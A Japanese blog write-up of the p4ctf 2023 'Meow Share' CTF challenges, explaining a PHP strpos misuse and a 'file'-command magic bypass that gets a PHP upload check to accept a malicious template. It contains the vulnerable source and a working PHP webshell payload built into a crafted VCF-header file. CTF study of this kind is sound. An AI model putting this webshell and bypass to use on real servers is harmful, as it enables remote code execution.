Satoooonの物置

CTFなどをしていない

p4ctf 2023 teaser - Meow Share Fixedの解説

競技中は時間内に解けなかったけど、面白かったのでWriteupを書く。

Meow Share [51 solves]

<?php
include("config.php");

if(isset($_GET["source"])){
    header('Content-Type: text/plain; charset=utf-8');
    die(file_get_contents(__FILE__));
}

function is_good_png($filepath) {
    // YOLO
    $file_info = exec("file " . $filepath);
    $stripped_filename = explode(' ', $file_info, 2)[1];
    return strpos($stripped_filename, "PNG image data, 250 x 250") !== -1;
}

function is_good_template($filepath) {
    // LOYO
    $file_info = exec("file " . $filepath);
    $stripped_filename = explode(' ', $file_info, 2)[1];
    return $stripped_filename === "HTML document, ASCII text";
}

$user_base = "uploads/";
$user = md5($_SERVER['REMOTE_ADDR']);
$user_dir = $user_base . $user . "/";

if (!is_dir($user_dir)) {
    mkdir($user_dir);
    copy("index.tpl", $user_dir . "index.tpl");
    // have some free cats :3
    copy("free-cats/cat_c.png", $user_dir . "cat_c.png");
    copy("free-cats/cat_b.png", $user_dir . "cat_b.png");
    copy("free-cats/cat_a.png", $user_dir . "cat_a.png");
}

if (isset($_FILES["upload"])) {
    $admin_rights = isset($_POST["token"]) && $_POST["token"] == $ADMIN_TOKEN;

    if (!is_good_png($_FILES["upload"]["tmp_name"]) && !$admin_rights) {
        die("what are you doing?");
    }

    $extension = pathinfo($_FILES["upload"]["name"], PATHINFO_EXTENSION);
    if ($extension === "png") {
        move_uploaded_file(
            $_FILES['upload']['tmp_name'],
            $user_dir . "catty_" . time() . "." . $extension
        );
    } else if(isset($_POST["author"])) {
        $author = $_POST["author"];

        $template_file = fopen($_FILES['upload']['tmp_name'], "a");
        fwrite($template_file, "HTML template authored by " . htmlspecialchars($author));
        fclose($template_file);

        if(is_good_template($_FILES['upload']['tmp_name'])){
            move_uploaded_file(
                $_FILES['upload']['tmp_name'],
                $user_dir . "index.tpl"
            );
        } else {
            die("bad template");
        }
    } else {
        die("stop messing around!");
    }
}
?>

PNGとテンプレートのアップロード機能があるが、テンプレートの方はadmin tokenを持っていないとアップロードできないようにされている。テンプレートはincludeを用いて実装されているのでアップロードができればPHP LFIからRCEできる。

テンプレートがアップロードできるか判定する部分は次のようになっている。

<?php
...
    $admin_rights = isset($_POST["token"]) && $_POST["token"] == $ADMIN_TOKEN;

    if (!is_good_png($_FILES["upload"]["tmp_name"]) && !$admin_rights) {
        die("what are you doing?");
    }

よく見ると、is_good_pngがtrueならチェックを通り抜けることができる。is_good_pngを見てみる。

<?php
...
function is_good_png($filepath) {
    // YOLO
    $file_info = exec("file " . $filepath);
    $stripped_filename = explode(' ', $file_info, 2)[1];
    return strpos($stripped_filename, "PNG image data, 250 x 250") !== -1;
}

fileコマンドを実行して結果を取り出し、PNGであるか判定しているようだがstrposの使い方が間違っている。

strposは見つからない時はfalse, 見つかったときはindexの値を返す関数なので-1を返すことはない。つまりis_good_pngは常にtrueになるので、適当なファイルでもチェックを通り抜けてしまう。

(訂正 12:20) strposの説明が間違ってました。strposは見つからない時false、見つかったときindexの値を返す関数です。Meow Shareはソースコードを見つけられなかったので記憶を元に復元してましたが、is_good_pngソースコードを間違って載せていました。元のソースコードは思い出せませんが、結局strposの返り値の扱い方がなんらかの形で間違っていて、普通にPHPをアップロードするだけで解けた記憶があります。

(追記 5/23) Arkさんがソースコードを共有してくれました。感謝

あとは<html><?php system($_GET['cmd']) ?></html>みたいなwebshellをアップロードするだけ。(詳細は割愛)

Meow Share Fixed [13 solves]

<?php
...
function is_good_template($filepath) {
    // LOYO
    $file_info = exec("file " . $filepath);
    $stripped_filename = explode(' ', $file_info, 2)[1];
    return $stripped_filename === "HTML document, ASCII text";
}

function is_good_png($filepath) {
    // YOLO
    $file_info = exec("file " . $filepath);
    $stripped_filename = explode(' ', $file_info, 2)[1];
    return strpos($stripped_filename, "PNG image data, 250 x 250");
}


//...
if (isset($_FILES["upload"])) {
    // We should leak the `config.php` which contains the admin token
    $admin_rights = isset($_POST["token"]) && $_POST["token"] == $ADMIN_TOKEN;
    
    // upload file should pass the check in is_good_png
    if (!is_good_png($_FILES["upload"]["tmp_name"]) && !$admin_rights) {
        die("what are you doing?");
    }

    $extension = pathinfo($_FILES["upload"]["name"], PATHINFO_EXTENSION);
    if ($extension === "png") {
        move_uploaded_file(
            $_FILES['upload']['tmp_name'],
            $user_dir . "catty_" . time() . "." . $extension
        );
    } else if(isset($_POST["author"])) {
        $author = $_POST["author"];
            
        $template_file = fopen($_FILES['upload']['tmp_name'], "a");
        fwrite($template_file, "HTML template authored by " . htmlspecialchars($author));
        fclose($template_file);
        
        // upload file should pass the is_good_template check
        if(is_good_template($_FILES['upload']['tmp_name'])){
            move_uploaded_file(
                $_FILES['upload']['tmp_name'],
                $user_dir . "index.tpl"
            );
        } else {
            die("bad template");
        }
    } else {
        die("stop messing around!");
    }
}

前回のMeow Shareからis_good_pngに修正が加えられた。

<?php
...
function is_good_png($filepath) {
    // YOLO
    $file_info = exec("file " . $filepath);
    $stripped_filename = explode(' ', $file_info, 2)[1];
    return strpos($stripped_filename, "PNG image data, 250 x 250");
}

strposの扱いが変わり、今回は常に返り値がtrueになるわけではなくなった。しかし、fileの出力のどこかにPNG image data, 250 x 250という文字列があればis_good_pngはtruthyになるので、ファイルのデータがfileの出力に現れるパターンを探せばよい。例えば次のような場合だ。

$ cat hoge
#! PNG image data, 250 x 250
$ file hoge
hoge: script text executable for PNG image data, 250 x 250, ASCII text

しかし、これではテンプレートのアップロード処理のときに弾かれてしまう。アップロード処理を見ていく。

<?php
...
        $author = $_POST["author"];
            
        $template_file = fopen($_FILES['upload']['tmp_name'], "a");
        fwrite($template_file, "HTML template authored by " . htmlspecialchars($author));
        fclose($template_file);
        
        // upload file should pass the is_good_template check
        if(is_good_template($_FILES['upload']['tmp_name'])){
            move_uploaded_file(
                $_FILES['upload']['tmp_name'],
                $user_dir . "index.tpl"
            );
        } else {
            die("bad template");
        }

やっていることは

  1. テンプレートの末尾にHTML template authored by $authorを追加で書き込む
  2. is_good_templateか検証する
  3. is_good_templateであればファイルがアップロードされる (ゴール)

となっている。is_good_templateは次のような関数だ。

<?php
...
function is_good_template($filepath) {
    // LOYO
    $file_info = exec("file " . $filepath);
    $stripped_filename = explode(' ', $file_info, 2)[1];
    return $stripped_filename === "HTML document, ASCII text";
}

fileの出力がHTML document, ASCII textと完全一致するかを見ている。つまり、is_good_templateのときにはfileの出力がHTML document, ASCII textになっている必要がある。先ほどの#! PNG image data, 250 x 250ではこれを満たさないので弾かれる。

バイパスできるファイルの条件を整理すると、次のようになる。

  1. fileコマンドの出力にPNG image data, 250 x 250が含まれる
  2. HTML template authored by $authorを末尾に追加した後にfileコマンドの出力がHTML document, ASCII textになる必要がある

ではどうするか、というのが問題の核心。

まずHTML documentと分類されるケースを探す。fileコマンドはmagicファイルを元にファイルを分類しているので、それを見ればいい。

自分はstrings /usr/lib/file/magic.mgc | lessで探していたが、普通にGitHubから探せば良かったと思う。

https://github.com/search?q=repo%3Afile%2Ffile%20%22HTML%20Document%22&type=code

見ていくと、<htmlという文字列が含まれるときにHTML documentと分類されることがわかる。つまり、ファイルの末尾を<にしておけば、<HTML template authored by $authorという文字列が作られることになり、2の条件をbypassすることができそうだ。(<!doctype htmlでもよい)

あとは1の条件をどうするか。#! PNG image data, 250 x 250 <htmlというファイルでは<htmlより#!のマッチが優先されてしまうので、2の条件を満たすことができない。つまり、任意のデータを出力に含ませることができる<htmlより優先順位が低いパターンを見つける必要がある。

自分はここで非効率的な方法でだらだら探してしまい、時間内に見つけることができずタイムアップだった。strings /usr/lib/file/magic.mgcを見て<htmlのマッチより下を探していたけど、優先順位が高い順に並んでいるわけではないらしい。

DiscordではGitHubにあるテストケースに<htmlを付けて差分を見るスクリプトを作ることで条件に合うものを見つけている人がいた。それすれば良かった...

作問者はfile -dデバッグ情報が見れると言っていた。これも見逃していて悔しい。

解法はいくつかあるらしい。一例としてcrazymanさんの解法を載せていただきます。

##fileformat=VCFvPNG image data, 250 x 250
<?php system($_GET['cmd']) ?>
<!doctype 

これは↓の部分を利用している。

file/bioinformatics at 655425ca3699e40f673948f6d031b3a649ad1d77 · file/file · GitHub

実際にHTMLを末尾につけるとfileの出力が変化するのがわかる。

$ file hoge
hoge: Variant Call Format (VCF) version PNG image data, 250 x 250, ASCII text
$ echo HTML >> hoge
$ file hoge
hoge: HTML document, ASCII text

Writeupを書かないと忘れてしまうので、遅くなってもなるべく書いていきたい。